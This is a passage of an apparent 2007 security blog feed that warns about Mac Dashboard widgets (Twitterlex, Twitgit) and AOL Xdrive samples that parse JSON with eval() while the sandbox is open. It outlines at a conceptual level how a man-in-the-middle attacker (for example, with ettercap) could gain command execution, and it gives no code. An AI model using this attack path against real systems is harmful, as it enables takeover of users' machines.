The bad teaching award of the day goes to the AOL Xdrive developer documentation: The <a href="http://dev.aol.com/node/640">Open XDrive Usage Meter</a> of course accesses XDrive through JSON, and of course it uses <code>eval()</code> to parse. It has a sibling <a href="http://dev.aol.com/node/649">Windows Vista sidebar gadget</a>; same problem. By the way, the <a href="http://msdn2.microsoft.com/en-us/library/aa965881.aspx">security model</a> for these gadgets gives access to ActiveX controls that are <i>not</i> marked "safe for scripting".

Questions?]]>
      
   </content>
</entry>
<entry>
   <title>JSON + eval(): Owning the Dashboard</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2007/12/03/2155_json_eval_owning_the_dashboard.html" />
   <id>tag:log.does-not-exist.org,2007://2.2155</id>
   
   <published>2007-12-03T20:51:33Z</published>
   <updated>2007-12-03T23:10:48Z</updated>
   
   <summary>Twitter has been all the rage for a while; I&apos;ll admit that I&apos;ve been a late adopter (I&apos;ve had an account since yesterday). It seems useful as a quick news agregator (with feeds like the NY Times and Heise) --...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term="web stuff" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[<a href="http://www.twitter.com/">Twitter</a> has been all the rage for a while; I'll admit that I've been a late adopter (I've had an account since yesterday). It seems useful as a quick news agregator (with feeds like the NY Times and Heise) -- in particular when coupled to a dashboard widget on the Mac.

There are two dashboard widgets that let you both post and follow: <a href="http://inner.geek.nz/projects/twitterlex/">Twitterlex</a> and  <a href="http://ben-ward.co.uk/widgets/twitgit/">Twitgit</a>. In plain English, both of these are huge security risks that create an <i>easy</i> way for an attacker on your network to take over your Mac. Uninstall them till there are new versions.

In technical terms, both are relatively simple pieces of JavaScript.  Both use <a href="http://www.json.org/">JSON</a> to retrieve their data through the <a href="http://groups.google.com/group/twitter-development-talk/web/api-documentation">Twitter API</a>. Both use <code>eval()</code> to evaluate the JSON data.

And that's a pretty big deal: JSON is short for JavaScript Object Notation. That means that data are encoded in a subset of the JavaScript programming language, the same language that these two widgets are written in. <code>eval()</code>, then, is the simplest way to parse that information: Instead of doing anything fancy, the data are fed to the JavaScript interpreter. Which will do its thing, and duly interpret whatever it is given.

And, for these Widgets, there is no sandbox to the rescue: While bad (and unsafe) JavaScript is a matter that affects just the perpetrator when it happens on an ordinary Web page, the sandbox for Dashboad widgets is actually <a href="http://developer.apple.com/documentation/AppleApplications/Reference/Dashboard_Ref/DashboardPlist/chapter_4_section_1.html#//apple_ref/doc/uid/TP40001339-CH205-BAJCBIDE">configurable</a>, Needless to say, both widgets are using that configurability: They both have the <code>AllowSystem</code> option set, to enable the <a href="http://developer.apple.com/documentation/AppleApplications/Reference/Dashboard_Ref/GadgetObj/chapter_2_section_3.html#//apple_ref/doc/uid/TP40001339-CH203-DontLinkElementID_24"><code>widget.system()</code></a> function. That method is used to execute arbitrary command line utilities, i.e., it grants as full control over the system as the user has -- and that often includes control over the <code>/Applications</code> folder.

Twitterlex, incidentally, at least has a  reason to open the sandbox, using Growl for notifications. Quickly looking through Twidgit, I couldn't find any there, except that there was probably an example somewhere with the same code in it. Twitterlex makes up for this slight advantage by having an update notification mechanism that calls <code>eval()</code> on data retrieved from some URI on the programmer's Web server. What's currently returned from there looks benign; still, this would make for a marvelous backdoor.

How realistic are attacks against this kind of code? Very much so. Both widgets check Twitter regularly. Risks -- leaving malice on the side of one of the "legitimate" data providers aside for a moment -- include a subverted Twitter server (cross-site scripting will be enough, even though Twitter fortunately appears to be quite paranoid about that), a subverted server on the author's side in the case of Twitterlex, and a man-in-the-middle attack against the data retrieval. The latter is quite easy to launch, as no cryptographic protection is used at all: Either ettercap or a subverted captive portal will do nicely.

All this illustrates some security fundamentals: When there are easy, but insecure, options, people will exercise them. If they can use <code>eval()</code> instead of <a href="http://www.json.org/js.html"><code>JSON.parse()</code></a>, they will do that. If they can break out of a sandbox, they"ll do that. In particular if that doesn't keep the widgets from being installed. And if these two things can be done in one widget to make life more interesting, then that will happen, too.

Finally, if the same programming platform can be used locally that is known from the Web, then we'll see the same programming style (and mistakes), and we'll see local and Web vulnerabilities blur into each other.
]]>
      
   </content>
</entry>

</feed>
